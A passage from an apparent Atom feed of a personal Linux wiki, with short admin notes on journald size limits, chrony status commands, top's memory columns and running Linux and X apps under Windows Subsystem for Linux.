(emerg, alert, crit, err, warning, notice, info, debug)

Limit systemd journal by editing
/etc/systemd/journald.conf

SystemMaxUse=10M</summary>
    </entry>
    <entry>
        <title>linux:time</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:time"/>
        <published>2023-04-20T16:30:37+00:00</published>
        <updated>2023-04-20T16:30:37+00:00</updated>
        <id>https://wiki.janforman.com/linux:time</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>ChronyC

chronyc sources
chronyc sourcestats

systemctl status chrony

/etc/chrony/chrony.conf</content>
        <summary>ChronyC

chronyc sources
chronyc sourcestats

systemctl status chrony

/etc/chrony/chrony.conf</summary>
    </entry>
    <entry>
        <title>linux:top</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:top"/>
        <published>2016-01-06T18:45:43+00:00</published>
        <updated>2016-01-06T18:45:43+00:00</updated>
        <id>https://wiki.janforman.com/linux:top</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>On Linux, the top command gives you several different numbers for memory. Here's what it says about the Hello World example:


  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
 2120 root      20   0 4373m  15m 7152 S    0  0.2   0:00.10 java</content>
        <summary>On Linux, the top command gives you several different numbers for memory. Here's what it says about the Hello World example:


  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
 2120 root      20   0 4373m  15m 7152 S    0  0.2   0:00.10 java</summary>
    </entry>
    <entry>
        <title>linux:windows</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:windows"/>
        <published>2018-07-08T22:04:48+00:00</published>
        <updated>2018-07-08T22:04:48+00:00</updated>
        <id>https://wiki.janforman.com/linux:windows</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Run command from Windows prompt

Enable linux subsystem in applications and install ubuntu from Windows Store

bash -c &quot;uname -a&quot;

Run X apps on Windows 10

&lt;http://www.straightrunning.com/XmingNotes/&gt;
Install X server on Windows then

# export DISPLAY=:0

echo &quot;export DISPLAY=:0.0&quot; &gt;&gt; ~/.bashrc</content>
        <summary>Run command from Windows prompt

Enable linux subsystem in applications and install ubuntu from Windows Store

bash -c &quot;uname -a&quot;

Run X apps on Windows 10

&lt;http://www.straightrunning.com/XmingNotes/&gt;
Install X server on Windows then

# export DISPLAY=:0

echo &quot;export DISPLAY=:0.0&quot; &gt;&gt; ~/.bashrc</summary>
    </entry>
</feed>
